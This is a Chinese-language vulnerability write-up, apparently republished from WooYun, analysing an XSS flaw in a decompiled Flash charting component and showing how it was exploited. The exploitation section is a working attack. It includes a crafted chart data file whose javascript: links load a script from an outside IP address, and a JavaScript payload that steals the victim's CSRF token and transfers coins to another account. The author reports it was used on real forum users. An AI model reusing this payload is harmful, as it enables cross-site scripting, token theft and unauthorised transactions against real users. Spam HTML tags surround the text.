<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/382

                    起因


                    請各位看官看這里:http://zone.wooyun.org/content/4997

                    斗膽分析下漏洞細節,在 http://www.showmycode.com/ 上面反編譯該 flash 代碼。

                    搜索,配置文件是通過 data 參數傳入進去的,搜索 _root.data,找到如下代碼:

                    #!as3
                    var lv = new LoadVars();
                    lv.onLoad = LoadVarsOnLoad;
                    lv.make_chart = make_chart;
                    lv.make_pie = make_pie;
                    if (_root.data == undefined) {
                        if (_root.variables == undefined) {
                            _root.data = "C:\\Users\\John\\Documents\\flash\\svn\\data-files\\data-47.txt";
                            lv.load(_root.data);
                        } else {
                            _root.LoadVarsOnLoad = LoadVarsOnLoad;
                            _root.LoadVarsOnLoad(true);
                        }
                    } else {
                        lv.load(_root.data);
                    }
                    

                    通過 LoadVars 載入的,LoadVars 載入的數據是以 & 符號分割的,載入完成調用 LoadVarsOnLoad 函數。跟進去看代碼

                    #!as3
                    function LoadVarsOnLoad(success) {
                        if (!success) {
                            _root.loading.done();
                            _root.oops(_root.data);
                            return(undefined);
                        }
                        if (_root.oops != undefined) {
                            removeMovieClip("oops");
                        }
                        for (i in _root) {
                            if (typeof(_root[i]) == "movieclip") {
                                removeMovieClip(_root[i]);
                            }
                            delete i;
                        }
                        _root.css = new Css("margin-top: 30;margin-right: 40;");
                        NumberFormat.getInstance(this);
                        NumberFormat.getInstanceY2(this);
                        _root._background = new Background(this);
                        if (this.pie != undefined) {
                            this.make_pie();
                        } else {
                            this.make_chart();
                        }
                        if (this.tool_tip != undefined) {
                            _root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ",");
                        }
                        _root.loading.done();
                        _root.move();
                    }
                    

                    看下面,如果外部數據中有 pie ,就調用 this.make_pie()。

                    #!as3
                    if (this.pie != undefined) {
                            this.make_pie();
                    }
                    

                    搜索 make_pie 這個函數看代碼,有如下,調用了 new PieStyle(this, "pie");

                    #!as3
                    function make_pie() {
                        _root._pie = new PieStyle(this, "pie");
                        _root._title = new Title(this);
                    }
                    

                    繼續跟進去,在這個類中的初始化函數最開始有 links = lv.links.split(","); ,lv.links 從外部傳入通過 split 后放入 links ,最后調用了 set_values(_local6),繼續看 set_values 函數,有如下代碼:

                    #!as3
                    function set_values(v) {
                        super.set_values(v);
                        pie_mcs = new Array(values.length);
                        var _local4 = 0;
                        while (_local4 < values.length) {
                            var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth());
                            _local5.onRollOver = function () {
                                ChartUtil.FadeIn(this, true);
                            };
                            _local5.onRollOut = function () {
                                ChartUtil.FadeOut(this);
                            };
                            if (links.length > _local4) {
                                _local5._ofc_link = links[_local4];
                                _local5.onRelease = function () {
                                    trace(this._ofc_link);
                                    getURL (this._ofc_link);
                                };
                            }
                            var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"};
                            _local5.tooltip = _local6;
                            pie_mcs[_local4] = _local5;
                            _local4++;
                        }
                        valPos();
                    }
                    

                    這個函數是關鍵,遍歷 links,然后放入 getURL 中,因為 getURL 這里是可以執行 js 代碼的。

                    利用


                    既然可以 xss,那就可以繞過 token 機制,對 wooyun 的業務進行操作了,先來看下如何構造遠程數據。看如下代碼:

                    &title=騰訊高危漏洞一覽表(點擊類別可以查看詳情),{font-size:18px; color: #d01f3c}&
                    &x_axis_steps=1&
                    &y_ticks=50,50&
                    &line=2,#87421F&
                    &y_min=0&
                    &y_max=20&
                    &pie=60,#E4F0DB,{display:none;},1,,1&
                    &values=50,50&
                    &pie_labels=遠程命令執行,騰訊客戶端溢出&
                    &colours=#d01f3c,#356aa0&
                    &links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&
                    &tool_tip=類別%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&
                    

                    起了個很響亮的標題明“騰訊高危漏洞一覽表(點擊類別可以查看詳情)”,讓看到的很很有欲望點擊中間的圓圈圈有木有,鏈接寫成

                    javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);
                    

                    加載我們的 js 文件。

                    js 文件的代碼如下:

                    #!javascript
                    /*
                     * ajax
                     */
                    ajax = function(url, params, callback) {
                        (params instanceof Function) && (callback = params, params = void(0));
                        var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() {
                            return new ActiveXObject('MSXML2.XMLHTTP')
                        });
                        var xhr = new XHR();
                        xhr.open(params ? 'post' : 'get', url);
                        xhr.withCredentials = true;
                        try {
                            params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
                        } catch (e) {}
                        callback && (xhr.onreadystatechange = function() {
                            (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(
                    this, arguments);
                        });
                        xhr.send(params);
                    };
                    
                    ajax("http://www.wooyun.org/user.php?action=update", function(){
                        var token = this.responseText.match(/token" value=\"(.+?)\"/)[1]
                        ajax("http://www.wooyun.org/user.php?action=coin&do=action_submit", "token=" + token + "&to_whitehat=xsser&to_coin=
                    1");
                    })
                    

                    借用 sogili xss.js 中的 ajax 代碼,先獲取當前用戶的 token,然后再進行轉賬操作。

                    效果


                    來找個實戰的地方,發到 wooyun,見這里:http://zone.wooyun.org/content/5548

                    后續


                    其實我沒想到這么多人中招的,本來抱著娛樂的目的玩玩的,看來好多人情緒很高漲,在這里先對各位抱個歉。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频